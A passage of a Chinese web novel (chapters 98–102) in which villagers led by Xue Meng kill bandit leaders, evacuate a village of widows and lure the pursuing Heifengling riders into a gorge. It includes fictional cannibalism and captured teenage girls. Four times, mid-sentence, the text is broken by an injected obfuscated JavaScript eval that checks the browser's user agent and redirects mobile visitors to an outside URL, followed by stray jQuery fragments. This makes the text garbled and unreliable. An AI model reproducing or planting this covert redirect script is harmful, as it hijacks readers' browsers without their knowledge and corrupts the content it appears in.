仗着身后有响马撑腰,王四狐假虎威,满脸狰狞:“宋仁!你少踏马在我面前叫唤!”
“我早已不是当年的王四,我早就受够了穷困潦倒,被人瞧不起的日子!”
“如今我投靠了黑风岭大王,大口吃肉,大碗喝酒,前途无量!你算哪根葱,敢对我大呼小叫?”
铁头虎指着裴红玉,道:“行啦王四,快认认,这到底是不是宋婉儿!”
王四来到裴红玉面前,只瞥了一眼,便对宋老太公冷喝道:“死老头子!死到临头了,你还敢耍花样?”
“赶快把宋婉儿那个剑货交出来!”
“她可是老子向黑风岭大王递上的投名状!”
“要是搞砸了,老子把你全庄上下全都剁成肉酱!”
王四无情无义的嘴脸,令人发指!
宋庄家丁全都对这个白眼狼恨得咬牙切齿!
“什么?”
“原来黑风岭响马是你引来的?”
听了王四这番话,宋老太公如遭雷击,差点一口气上不来昏倒在地。
宋仁和几名丫鬟,连忙上前扶住宋老太公,皆是替宋老太公不值。
难怪,这么多年黑风岭都没来过。
前几天却突然下帖子,要娶小姐做压寨夫人!
原来都是王四这个白眼狼,为了投靠黑风岭响马,把小姐和宋庄出卖给了黑风岭!
“这么说,这家伙只是个冒牌货?”
王四的话,无疑是揭穿了裴红玉的伪装。
铁头虎转头看向裴红玉,面色极其不善。
“敢耍老子,老子宰了你!”
唰!
寒芒一闪,铁头虎挥刀朝裴红玉面门劈下!
第99章 后患无穷
“就你这等货色,也配在姑奶奶面前舞刀弄枪?”
“吃姑奶奶一记擒虎拳!”
却不料裴红玉非但不惧,反而一声暴喝,猛然一拳打在铁头虎脸上。
“噗!”
这一拳,蓄谋已久,后发先至。
铁头虎的刀连裴红玉的衣角都没沾到,便被裴红玉的拳头打得口鼻溢血,眼冒金星,接连往后暴退数步。
咚的一声闷响,铁头虎整个人栽倒在地,没一会儿就断了气。
“啊?!”
周围响马全都看傻了眼。
大头领刀枪不入的铁头功呢?
怎么不灵了?
“杀了她,为大哥报仇!”
剑齿虎双目血红,锵的一声,率先拔出背上**。
响马闻声,纷纷拔刀朝裴红玉围了上来。
裴红玉左手一个宋老太公,右手一个宋老夫人,扛上肩膀,撒腿就往门外跑。
“追!”
剑齿虎带着人刚一追出门外。
嗡……咻!
惊弦颤响,一道寒光犹如闪电横空掠至,直接贯穿了他的胸口。
“呃啊……”
剑齿虎双目惊恐圆瞪,手中**脱手落地。
双手捂着胸口,翻滚在地,没挣扎一会儿就彻底没了动静。
铁头虎、剑齿虎相继殒命。
响马顿时乱作一团。
尤其是看到剑齿虎胸口碗大的透明窟窿,以及穿过剑齿虎胸口,插在后方门框上的狼牙箭,这些响马更是吓得魂飞魄散!
他们从来没见过杀伤力这么大的箭头,居然把人的心脏都给绞穿了!
“雁翎箭羽?!”
玉面虎看见门框上箭羽微微颤动的狼牙箭,目光一怔,脑海里顿时涌现出一个多月前的记忆。
那天夜里,卧虎村口,于百米之外射死老四麻脸虎的的那支箭,也正是这种箭羽!
莫不是卧虎村的人?
这些刁民,为什么会出现在宋庄?
卧虎村剿灭老鸦坎土匪的消息,在绿林里传得沸沸扬扬。
玉面虎也是有所耳闻。
“如果真是卧虎村那帮刁民来了,只怕难以讨好!”
“大哥、老五都**,老三估计也够呛,我不能再白白送死!”
玉面虎思忖片刻,当机立断,决定开溜!
这次他们只带了二十来号人。
几个头领都**,就剩下他了!
硬撑下去无非就是全军覆没的下场。
当务之急,是赶快回黑风岭,调集大队人马来报仇!
玉面虎从后院开溜。
剩下的响马,挥刀冲到院子里,突然发现身边一个头领都没有了,顿时方寸大乱。
“杀响马,赚赏银!!”
“杀!”
陡然间,喊杀声四起。
埋伏在房顶的罗飞和投掷队众人,齐齐现身,奋力抛掷出手中的飞刀和标枪。
投掷队众人已经不是第一次和土匪响马作战了。
他们早已不再是当初那些杀个人都手抖的普通村民。
他们只想置这些响马于死地!
刷刷刷!
“啊啊啊……”
响马们惊惧万分,看着从天而降的标枪和利刃,想要逃跑却已经来不及了。
场中惨叫声此起彼伏,卷起一场腥风血雨!
片刻功夫,宋庄院子里的响马便已横尸遍地。
刚入伙的小喽啰王四,哪里见过这等血腥场面,顿时吓得尿了裤子,直往狗洞里面钻。
可他头刚钻进去,就被好几双手拽住了腿。
“王四!你这个忘恩负义的白眼狼!还想跑?”
管家宋仁带着几名家丁,连拉带拽把企图逃跑的王四从狗洞里揪了出来。
“你们想干什么?”
王四被家丁团团包围,瑟瑟发抖,满脸惊恐。
“干什么?”
“你说我们要干什么!”
宋庄家丁二话不说,上去就是一顿胖揍。
先前王四仗着有响马撑腰,耀武扬威不可一世。
现在响马自身难保,再也没人给他撑腰了!
“给我打!狠狠地打!”
“这种忘恩负义的畜牲,就得往死里打!”
看着被打得鼻青脸肿的王四,宋仁心里那叫一个解气。
“你这个畜牲,好的不学,学人家当响马!”
“这一拳,是替老太公打的!”
“这一拳,是替你死去的娘打的!”
……
“老三?”
玉面虎路过马厩,看见被石狮子砸碎脑袋的金刚虎,吓了一跳。
旋即瞅见马厩里里的乌骓马,牵着马缰,从后门逃出。
“驾!”
玉面虎骑上马背,一夹马腹,想要纵马离去。
“唏律律——”
却不料,乌骓马忽然扬起马蹄,发出抗拒的嘶鸣,直接将玉面虎甩落在地。
“哎哟!”
玉面虎摔**下,翻滚在地,感觉浑身骨头都散架了。
还没等他从地上爬起来,乌骓马高高扬起的铁蹄,已经朝他脸上踩了下来。
“啊!”
一声凄厉惨叫,转瞬即逝。
玉面虎活活被乌骓马踩个半死。
“我靠,我的马子你也敢骑!”
薛猛带着人赶到马厩时,玉面虎已经进气多出气少。
整张脸血肉模糊,已然面目全非。
堂堂玉面虎,成了大花脸!
一看伤势,就知道是被马蹄踩的。
“薛猛,咳咳……原来是你!”
玉面虎嘴里咳出淤血,虽然已经奄奄一息,脸上却挤出一丝瘆人的笑容,直勾勾盯着薛猛背后箭筒里的箭。
薛猛眉头轻皱:“你认识我?”
“我不认得你,但我认得你的箭!你杀棕熊,灭老鸦坎,好威风!但你千不该万不该,惹我们黑风岭!”
“等着吧!”
“你今天杀我们这么多弟兄,大王肯定不会放过你的!”
“你们卧虎村,就等着被屠村吧!”
留下这句狠话,玉面虎头一歪,没了动静。
“死到临头,还敢威胁我!去尼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313063|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玛的!”
薛猛虎目圆瞪,抽出腰间警恶刀。
唰的一刀,直接剁下了玉面虎项上人头,然后一脚踢进了旁边的马粪堆里。
“罗飞,情况如何?有没有漏网之鱼?”
薛猛让人拖着玉面虎和金刚虎的尸体,回到前院,对罗飞问道。
罗飞看了眼薛猛带出来的尸体,拱手回道:“薛大哥,黑风岭四个头领和二十骑响马都已毙命!无一漏网之鱼!”
“此外,还缴获了二十匹南马,两匹花马,两匹骝马!”
所有响马的尸体,都被罗飞等人拖到了一起。
看着死相一个比一个凄惨的铁头虎、金刚虎、剑齿虎、玉面虎,被五花大绑的王四,跪在地上,瑟瑟发抖,满脸绝望。
裴红玉清点了一下响马的马匹,说道:“看来这些响马并不是黑风岭精锐,骑的都是南马。”
“头领骑的也只是花马和骝马,连一匹像样的战马都没有。”
南马,就是南方矮脚马,这种马体型较小,多是做运送货物的驽马使用,并不擅长战场厮杀。
花马是黑白相间的马,骝马是黄白相间的马,**色都不纯,虽然比南马强一些,但等级还是很低。
正规骑兵都不会用这种马,也就是县衙马快才会骑这种马。
“有总比没有好!全都带回卧虎村!”
大虞缺少马场,哪怕是最低级的驽马,价格也不便宜。
薛猛决定照单全收!
“小兄弟!你们到底把我女儿,藏到哪里去了?”
宋老太公拄着拐杖,颤巍巍地朝薛猛走了过来。
“爹!”
就在这时,一个柔细的声音响起。
众人循声扭头看去,只见一个身着青色纱裙,温婉娇小的少女,从柴房里走了出来。
“婉儿?”
看见自己女儿毫发无损,宋老太公大喜过望。
宋庄的仆从、丫鬟,脸上也都有了笑容。
随即,宋老太公带着宋庄上下十几口子,齐刷刷跪在了薛猛面前。
“壮士!今日若不是你们出手相救,只怕我全庄上下难逃响马毒手!”
“你是我宋家的恩人!”
“请受小老儿一拜!”
宋老太公老眸含泪,纳头便拜。
“老太公,使不得!”
薛猛连忙上前,扶起宋老太公,神情凝重:“老太公,现在可不是道谢的时候,这次只来了二十个响马,我们方可轻松应付!”
“若是黑风岭派大部队精锐前来报复,只怕我们也难以抵挡!”
“宋庄已被黑风岭盯上,此地已非久留之地,必须速速搬离!”
闻言,管家宋仁连忙点头附和:“老爷,恩公说得在理啊!王四这个混账,已经把宋庄的底细全都出卖给了黑风岭!”
“这些响马死在我宋庄,黑风岭迟早会有所察觉,必然还会再派人过来!”
“到那时,咱们想走都走不了了!”
闻言,宋庄上下所有人神情都凝重起来!
第100章 全村都是俏寡妇
宋老太公叹了口气,满脸苦涩:“可这天下之大,匪患四起,灾民遍地,哪里又有我等安宁之所呢?”
“再者说,我们若是一走了之!”
“黑风岭定然会迁怒玉娘村的村民,那不是害了大伙儿吗?”
刚刚醒来的宋老夫人,捂着额头上的伤口,急得眉头紧锁:“老爷,那你说咱们该怎么办?总不能在这里等死吧!”
薛猛叹了口气,也是忧心忡忡。
杀了黑风岭响马,虽然替宋庄解了燃眉之急!
但此事后患无穷啊!
黑风岭匪众上千,如日中天,连蜀郡官府都不敢直缨其锋芒。
并且匪首“银面虎”曾是青狼军马军都尉出身,手下有三百青狼军精骑。
这可不是老鸦坎那种不入流的土匪能相提并论的!
宋庄若不搬走,必然难逃被灭门的凄惨下场!
若搬走,附近玉娘村的村民又要遭殃!
完全就是进退两难。
“这还不简,简单!”
就在这时,秦义忽然傻傻一笑,异想天开道。
“让全、全村儿的人,一起搬走!”
“跟咱们,一起去卧虎村,不,不就行了吗?”
秦义话刚出口,便被裴红玉打断:“你胡说什么呢!全村搬走,亏你想得出来!”
薛猛却是眼前一亮:“嘿,还别说,这法子还真行!”
“薛猛,秦义傻就算了,你怎么也跟着他犯傻?”
裴红玉冰眸一瞪,急道:“你有没有想过,万一黑风岭响马追上来,咱们带着这么多村民,怎么跑得掉?”
“就算把村民全都平安带回卧虎村,咱们又该怎么安置这么多人?”
“擅自迁民,衙门那边,又该怎么交代?”
“衙门?!”
薛猛一怔,气极反笑:“黑风岭响马打过来的时候,衙门在哪儿?”
“人挪活,树挪死!”
“那些四处逃难的难民,怎么没见衙门去管?”
“老百姓找活路,天经地义!”
“衙门敢来找茬,老子就灭了这衙门!”
薛猛压根就没把大虞朝廷放在眼里。
他虽然不想当皇帝。
但真逼急眼了,反了又咋滴?
本来就是重活一世,何必唯唯诺诺?
人死鸟朝天,**当睡着!
说不定到时候又穿越回去了呢!
听了薛猛霸气侧漏的话,所有人都被镇住了。
衙门敢找茬,就灭了衙门?!
这胆子是有多肥啊!
“不愧是,姑爷爷!厉,厉害!”
秦义愣愣看着薛猛,眼中充满崇拜。
“好!有了恩公这番话,小老儿也豁出去了,咱们就跟着恩公走!”
宋老太公终于下了决断。
让人回屋取出田契,交给管家宋仁:“宋仁,你赶快派人,挨家挨户通知玉娘村村民,告诉他们黑风岭响马将要来屠村!”
“愿意跟咱们走的,就赶快收拾家伙细软过来!”
“不愿意跟咱的,把田契交给他们,由他们自己去找活路吧!”
“好嘞!”
宋仁接过田契,带着家丁点起火把,朝附近村子里火速赶去。
薛猛对罗飞道:“阿飞,你带十匹马,去帮乡亲们驮东西!”
阿飞?
听到这亲昵的称呼,罗飞小脸一红,跟个大姑娘一样害羞。
随即点点头,带着投掷队队员领命离去。
“行了,咱们也赶快收拾东西吧!今晚就走,以免夜长梦多!”
黑风岭距离宋庄不算太远。
若是让他们发现派来“娶亲”的队伍迟迟未归,定然会派人下山查看!
此地不能久留了!
……
“乡亲们,快别睡了!黑风岭响马要来屠村了!!”
附近村子不少村民,都受过宋庄的恩惠。
还有不少村民,本就是宋庄的佃户。
宋仁这个宋庄管家,在村子里说话还是有一定分量的。
一听到宋仁的声音,村民们纷纷打开了房门。
在告知响马将要屠村,宋庄要搬走时,村民们纷纷惶恐不已。
年轻一些的村民,几乎是想都没想,就决定拖家带口跟着宋庄走。
但也有少部分上了岁数的老人家,不愿离开故土,说什么祖坟在这儿,死也要死在这里。
还有的腿脚不便,眼聋耳瞎,沟通半天等于对牛弹琴。
这其中,就包括先前给薛猛等人指路的老妇人。
“我不走!我要是走了,我儿子从北边回来,该找不着我了!”
老妇人死活不肯离开。
老妇人的儿媳也道:“对,我也不走!我要等我男人回来!”
宋仁正愁没辙,罗飞牵着马走了过来:“老婆婆,咱们又见面了。”
“活神仙,原来是你们!”
老妇人认出罗飞,神色和缓了一些。
罗飞劝道:“老婆婆,跟咱们走吧!”
“黑风岭响马一来,你们玉娘村全村都得遭殃!”
“你们首先得活着,才有希望再见到你的儿子,您说,我这话没说错吧?”
老妇人和儿媳对视一眼,都觉得罗飞说得有道理。
值此乱世,骨肉分离,必须先活下去,才有希望再见!
人**,那才是再也见不着了。
“那行,俺们娘俩信你,跟你走!”
经过宋仁和罗飞做工作,玉娘村五十户人家,总算全都同意搬离玉娘村。
除了少部分人家,决定去外县投靠亲戚,有四十多户都愿意跟着宋庄搬去卧虎村。
村民都很穷,家里也没什么像样家当,要带的东西倒是不多。
有些人甚至连衣服都没有穿的,一家人就穿一件
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313064|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣服。
不出门,就在家里光着。
要是男人也就算了,随便用茅草遮住下身就行,可玉娘村大多数都是女人。
四十多户人家,七八十口子,基本上每户人家家里都只有婆婆、儿媳、女儿相依为命。
除了几个**都没长齐的小男孩儿,就没见着什么男丁。
罗飞问宋仁:“这玉娘村,怎么一个男人都没有?”
宋仁无奈叹道:“罗飞兄弟,你有所不知啊,玉娘村的男丁都被官府抓没了!”
“要么充军战死,要么被送去挖运河、挖城墙,要么就是给皇上修万芳殿去了!”
“所以这玉娘村,又被叫做寡妇村,全是些孤儿寡母啊!日子过得那叫一个苦!”
“这些年村里饿**不少人,有的儿媳为了养家糊口,不惜**进了窑子,留下**钱给婆婆!”
罗飞闻言,眼圈一红,一个大男人差点当场掉下泪来。
“这挨千刀的世道!”
“挨千刀的狗皇帝!”
“投掷队所有人听着,给我把上衣脱了,给这些没衣服的婶子、小妹穿!”
罗飞和投掷队队员宁愿自己光着膀子,也要把衣服让给了村里的女人。
玉娘村的寡妇们,全都备受感动,泪水吧嗒往下掉。
但闻到衣服上浓烈的男人味道,一个个守寡多年的妇人,脸顿时红得像山里熟透的桃杏似的。
当罗飞和宋仁带着七八十个老寡妇、青年寡妇、小寡妇,回到宋庄时,宋老太公这边也已经收拾好家当,装车完毕。
“怎么全是女人?”
看见罗飞带回来的全是女人和小孩儿,薛猛不由一怔。
其实薛猛答应带全村村民一起回卧虎村,除了不忍心看着村民们被黑风岭响马残害之外,也是有一部分私心的。
卧虎村的产业想要做大做强,就必然需要更多劳动力。
卧虎村说是有三百户人家,可大多数都是老弱病残,而且之前棕熊下山,**不少人。
村里仅剩的壮年劳动力,都被招募进了施工队、伐木队、采石队!
而青年壮丁,则被吸纳进了巡猎队。
如今卧虎村,正是用人之际!
薛猛本来还指望罗飞能从玉娘村里,多带回一些青年壮丁,补充卧虎村劳动力!
没想到,玉娘村居然全是女人?
倒不是瞧不起女人,但要干重活,到底还是男人更合适。
也罢也罢,妇女也能顶半边天嘛!
可以安排其他生产任务。
而且不知道为什么,玉娘村这些小寡妇一个个长得都挺漂亮的,正好可以给卧虎村的光棍们当媳妇儿!
“人都齐了吧?”
“齐了!”
“好!”
薛猛翻身骑上乌骓马马背,目光灼灼,宛若发号施令的将军:“出发!”
第101章 黑风岭的野心
黑风岭,聚义厅。
上百名大小头领,齐聚一堂。
大口吃肉,大碗喝酒,为黑风岭大王“银面虎”贺喜。
“大王,今天是您大喜的日子,小弟敬你一杯!恭喜大王,又纳得一房美妾!”
刚晋升的骠骑头领“红胡子”,端着酒碗起身。
向坐在虎皮交椅上,戴着半截银虎面具,身形魁梧,膀阔腰圆的紫袍男人敬酒。
“大哥,今天这么热闹,怎么没见着嫂子们?”
众头领闻言,也都安静了下来,纷纷扭头看向银面虎。
银面虎娶了十八房压寨夫人。
其中不少都是乡里地主的小老婆或闺中小姐,还有各县青楼的花魁。
以往每逢喜事,银面虎都会让她们出来唱曲,表演歌舞,让兄弟热闹热闹!
但今日,十八个压寨夫人,却是一个都没出现。
啪!
银面虎丢下手里的腿棒骨,擦了擦嘴角的油渍,拍着圆鼓鼓的将军肚大笑:“你们的嫂子,全在这里头呢,哈哈哈!”
“啊?”
众头领闻言皆是一怔。
银面虎却是不以为然,又从盘子里拿起一块“羊肉”,塞进嘴里,大口咀嚼起来。
“都看着**什么?你们不也吃得挺香吗?”
众人闻言,这才意识到,今天吃的羊肉和往常不太一样。
包括“红胡子”在内,好几名新提拔的头领,反应过来自己吃的是什么肉后,全都冲出门外,呕吐起来。
而坐在前排的“四梁八柱”,对此却早已司空见惯。
作为黑风岭的核心领导班子,他们跟着银面虎起家,对银面虎爱吃“两脚羊”的癖好,早已不足为奇了。
“哈哈哈!”
“瞧瞧这些毛头小子!多好的羊肉啊,居然还给吐了?简直是糟蹋东西!”
“冷先生,你可得多教教他们,这要是打起仗来,没有口粮,什么都得吃啊!”
四梁八柱中负责掌管山寨后勤保障,粮食分配的托天梁“冷先生”,起身应道:“大王,你放心吧!”
“从明天开始,我就断了这帮兔崽子的口粮,保管他们饿疯了,屎都能吃下去!”
“哈哈,好哇,带兵就得这么带!”
银面虎冷冷一笑。
“大王,世子爷回山了!”
听到门外小喽啰汇报,银面虎面色大喜:“哦?咱们的‘顶天梁’回来了?快,让他进来!”
“父王,孩儿回来了!”
不多时,一个豪爽声音响起。
众人循声转头看去,只见一个身着兽面吞头连环铠,手提方天画戟的年轻人,阔步踏入聚义厅。
此人双眉斜飞入鬓,身形魁伟,满脸煞气,给人一种莫名的压迫感!
在上百道充满敬畏的目光中,年轻人拎着一个血淋淋的布袋,来到了银面虎面前。
啪!
将布袋往地上随手一丢,几个人头骨碌碌滚落而出。
四梁八柱中的搬舵柱,也就是黑风岭的军师“忘机子”,连忙起身上前辨认人头。
“蜀郡司马**。”
“蜀郡郡尉周达。”
“紫丘县令张济民。”
“紫丘县尉霍彪。”
身为军师,忘机子对黑风岭附近郡县的守将武官,可谓了如指掌,很快便确认了这几个人头的身份。
“咦,这人……面生。”
见忘机子也有认不出的人,手持方天画戟的年轻人咧嘴一笑。
指着那人头说道:“军师,此人乃是紫丘县刚上任的马快都头楚威。”
“据说还是什么白虎军的老兵!”
“别看他官儿最小,但本事却厉害得紧!”
“饶是本世子,也费了些周折,方才将他斩于马下!”
说着,年轻人转头对银面虎拱手道:“父王,孩儿此次下山到紫丘县‘借粮’,不曾想那紫丘县令早有察觉,提前和蜀郡通了气,设下埋伏等着孩儿!”
“所幸孩儿一番血战,不仅击溃了五百名围剿官军,斩下这几名官军主将头领!”
“还乘胜追击,打破了紫丘县城池!”
“劫得粮米八百担,金银珠宝五百箱!”
“还特地为父王,带回两百只娇嫩可口的‘不羡羊’,均是十四五岁的年纪,皮娇柔嫩,保管父王喜欢!”
上百头领听闻此言,全都佩服至极。
不愧是大王的义子,果然本事了得!
银面虎则是摸着将军肚,开怀大笑:“哈哈哈!我儿元良,不愧为我黑风岭‘顶天梁’,果然没让为父失望!”
“元良,说,你想要什么奖赏,父王全都满足你!”
元良单膝跪地,俯首回道:“孩儿什么都不要!”
“只希望父王早日揭竿起义,带着咱们黑风岭的弟兄们,杀上京城,博得个封侯拜将,龙**翻身!”
“这……”
银面虎脸上笑容一僵。
“元良啊,此事改日再议吧!为父有些乏了!”
“先把你带回来的嫩羊羔,挑选五十个最细嫩白净的,剥洗干净,送到为父房里来!”
有了两百只小羊羔,银面虎全然已经把宋庄小姐宋婉儿抛之脑后了。
目送银面虎离去。
元良起身,眼神一沉:“父王每次都是这样搪塞过去!难道真的要一世为寇吗?”
军师忘机子看出元良心中不甘,出言劝道:“世子,揭竿起义非同儿戏,急不得!”
元良对忘机子道:“先生前日不是说,东方紫微帝星闪耀,大虞气数将尽吗?值此乱世,我黑风岭兵强马壮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313065|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,何不搏上一搏?”
忘机子苦笑摇头:“如今我们黑风岭虽有上百头领,千员好汉,足可傲视蜀郡,占山为王。”
“但一旦揭竿起义,那性质可就变了,朝廷必派大军征剿,我们恐怕难以抵挡!”
“现在我们要做的是蛰伏,积蓄实力,待得群雄并起之时,我们再伺机而动!”
“军师考虑周全,元良受教了!”
元良低头拱手,但眼底仍是闪过一抹不甘之意。
“军师,世子!大事不好了!”
就在这时,一个探子急匆匆冲了进来。
“出什么事了?”
忘机子对险些跌倒的探子问道。
探子跪倒在地,满脸惶恐,声音颤抖着禀告道:“军师,前去宋庄接亲的二十名第一骠骑营弟兄,全都**,马匹全部丢失!”
“宋庄上下已经人去楼空,不知去向!”
“什么?”
听闻此言,黑风岭上百头领全都炸了锅,一个个拍桌而起,仿佛要**的虎狼。
是谁?
吃了熊心豹子胆不成,居然敢杀黑风岭的人!
“众头领稍安勿躁!”
忘机子抬手示意头领们先不要轻举妄动,对探子皱眉问道:“铁头虎呢?出了这么大的事情,他怎么没有回山禀告?”
探子嘴皮哆嗦,回想起在宋庄发现的尸体死状,便不由得脊背发寒:“铁头虎头领,似被铁锤砸中脑袋而死。”
“玉面虎头领似被马踩死。”
“金刚虎头领不知道被什么东西,砸碎了脑袋。”
“剑齿虎头领,胸口不知道被什么东西绞穿了,整个心脏都没了。”
嘶!
听了探子的汇报,聚义厅里不少头领都倒吸了一口凉气。
如此凄惨的死法,简直闻所未闻!
“到底是什么人!”
“竟有这等本事?!”
第一骠骑营这几个头领,在黑风岭上百头领之中,虽然算不上顶尖厉害,但也绝非吃素!
怎么会如此离奇地死在宋庄?
宋庄什么时候这么厉害了?
砰!
一声爆响陡然响起。
元良手中方天画戟抡下,直接砸碎了面前厚重石桌,眉宇间煞气萦绕:“岂有此理!连官军都奈何不得我黑风岭!”
“何人这般大胆,竟然伤我弟兄!”
“第二、第三骠骑营头领听着!即刻点兵下山,把宋庄周围的村庄,全都给我屠个干净!”
“就算掘地三尺,也要把幕后真凶揪出来!”
“是!”
第二骠骑营头领“红胡子”,第三骠骑营头领“独眼龙”,当即出列,拱手领命。
两个头领各带了五十名响马。
浩浩荡荡,朝着宋庄附近的玉娘村奔袭而来!
第102章 引君入瓮
“给我屠了这鸟村子!给一营的弟兄们报仇!”
玉娘村村口,红胡子高举手中狼牙棒,指着眼前的村落大吼道。
“杀!”
一群响马冲进村子,四处打砸。
但却连个人影子都没见着。
“头领,村子里没人!”
“这怎么可能?”
听到属下汇报,红胡子一怔。
宋庄的人跑了,总不能附近村子的村民,也跟着跑了吧?
但不管他相不相信,事实就摆在面前。
整个玉娘村,早已搬空了,连根**都没给他们留下!
“他奶奶的!给我把这鸟村子烧了!”
红胡子往地上狠狠地啐了一口,肺都快气炸了。
他实在是想不通,宋庄什么时候有这么大的能耐了!
不仅全歼了第一骠骑营四位头领!
还让这些村民凭空消失了!
独眼龙并没有像红胡子那样气急败坏,而是四处搜寻着蛛丝马迹。
玉娘村的村民,不可能一夜之间凭空消失!
就算搬走,也会留下痕迹才对!
“胡子兄,你看,这里有马蹄印和车辙印,这些村民肯定是往西边跑了。”
独眼龙蹲下身,指着泥地上留下的痕迹:“看这蹄印数量,马不少,多半就是缴获的一营的马!”
“由此可见,正是宋庄的人,把这些村民带走了!”
红胡子闻言,顺着马蹄印延伸的方向抬头望去,眼中凶光一闪:“好哇,这宋老头儿可真有本事!居然敢带着这些泥腿子一起逃跑?”
“哼,量这些老幼妇孺也跑不了多远!”
“弟兄们,给我追!”
“驾!”
上百名如狼似虎的响马,在两名头领带领下,顺着马蹄印的方向绝尘而去!
……
“薛猛,带着这些老幼妇孺赶路,实在是太慢了!”
“万一黑风岭响马顺着咱们的马蹄印追上来,咱们该如何抵挡?”
半路上,裴红玉目露担忧,总感觉心里不踏实。
玉娘村这些村民大多数都营养不良,走一会儿就要歇一会儿。
让她们骑马,她们又不会,更何况马匹也不够这么多人骑。
再这样下去,万一黑风岭响马追上来,无疑就是案板上待宰的鱼肉,根本跑不掉!
裴红玉心急如焚。
薛猛却是气定神闲,轻笑道:“急什么,累了就让她们歇会儿!前面不远就是一线天了,黑风岭响马不来则已,若敢追来,我必让他们有来无回!”
算算时间,寇芳的密令应该已经传回卧虎村和老鸦坎了。
在宋庄决定跟黑风岭响马动手的时候,薛猛就已经留了后手。
他那三道密令。
就是为黑风岭响马准备的!
秦义附和道:“对,对,姑爷爷说得对!让他们,有来无回!”
薛猛笑了笑,冲秦义招手:“秦义,来来来,我再给你安排个好玩的游戏!”
“好,好!我,爱玩游戏!”
秦义憨笑点头,随即将耳朵凑近薛猛嘴边。
听完薛猛说的“游戏”,秦义一双斗鸡眼瞪得老大,嘿嘿笑道:“姑爷爷,你,真坏!”
“对付坏人,咱们就得比他们更坏!”
薛猛虎目微眯,冷冷一笑。
听了薛猛的计划,裴红玉悬着的心终于**。
“薛猛,你这法子真能行吗?万一那群响马不上当怎么办?”
薛猛自信一笑:“放心吧,我说行,肯定行!”
……
“头领,前方有两条路,咱们走哪条?”
薛猛等人前脚刚走,立功心切的红胡子,便带着五十骑响马循着他们留下的车辙印和马蹄印,追了上来。
看见前方出现的岔路。
红胡子想也没想,指着左边有马蹄印的那条路说道:“走这条!”
“头领,咱们不等等三营的弟兄吗?”
手下问道。
“不等了!咱们抢首功!驾!”
红胡子拍马上前,带队进入左边山谷。
目送红胡子一伙响马,手举火把和武器,气势汹汹冲进山谷。
隐藏在远处树林后的几十双眼睛,全都充满恐惧和后怕。
“响马真的追来了!”
“幸好咱们离开了村子,不然可就惨了!”
“嘘!大家别出声!”
裴红玉压低声喊道。
村民们全都闭上了嘴。
只听阵阵马蹄声传来,又有五十骑响马,在一个独眼龙的带领下,追了过来。
“二营这帮孙子跑得真够快的!生怕谁跟他们抢功似的!”
“头领,马蹄印是往左边走的,咱们要跟上去吗?”
“跟肯定要跟,但前面好像是个山谷,是打埋伏的好地方啊!”
“听着,咱们走慢点,一旦前面有个什么风吹草动,咱们马上撤出来!”
“是!”
独眼龙带着手下,缓缓进入左边山道。
看着这些凶神恶煞的响马,树林后众人屏住呼吸,大气都不敢喘一下。
直到所有响马全都消失在山谷中。
大家这才松了口气。
“裴姑娘,这前前后后,进去了上百骑响马,薛壮士他们就十几个人,对付得了吗?”
宋老太公老眸中满是担忧,忍不住问道。
裴红玉何尝不是替薛猛他们捏了一把冷汗。
不过,想到薛猛先前交代的任务,裴红玉定了定神,故作镇定道:“放心吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313066|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老太公,咱们要相信薛猛!”
“大家听着,老幼妇孺,原地待在这儿别动!”
“男的都跟我去搬石头、砍木头!把这些响马的退路全给堵上,这次,咱们要让他们有来无回!”
玉娘村没有男丁,只有宋仁和宋庄的家丁,跟着裴红玉一起去搬石头。
宋庄家丁四五个人才能勉强抬得起的大石头,裴红玉一个人就搬了起来,并且抱着石头健步如飞。
看到这惊人一幕,宋庄等人自愧不如。
宋婉儿更是满眼崇拜:“裴姐姐好厉害!明明是女儿身,力气却被男人还大!”
“爹,娘,我也要去帮他们!”
留下这句话,宋婉儿也起身去帮忙抬石头。
“这!”
宋老太公满脸欣慰:“婉儿长大了!”
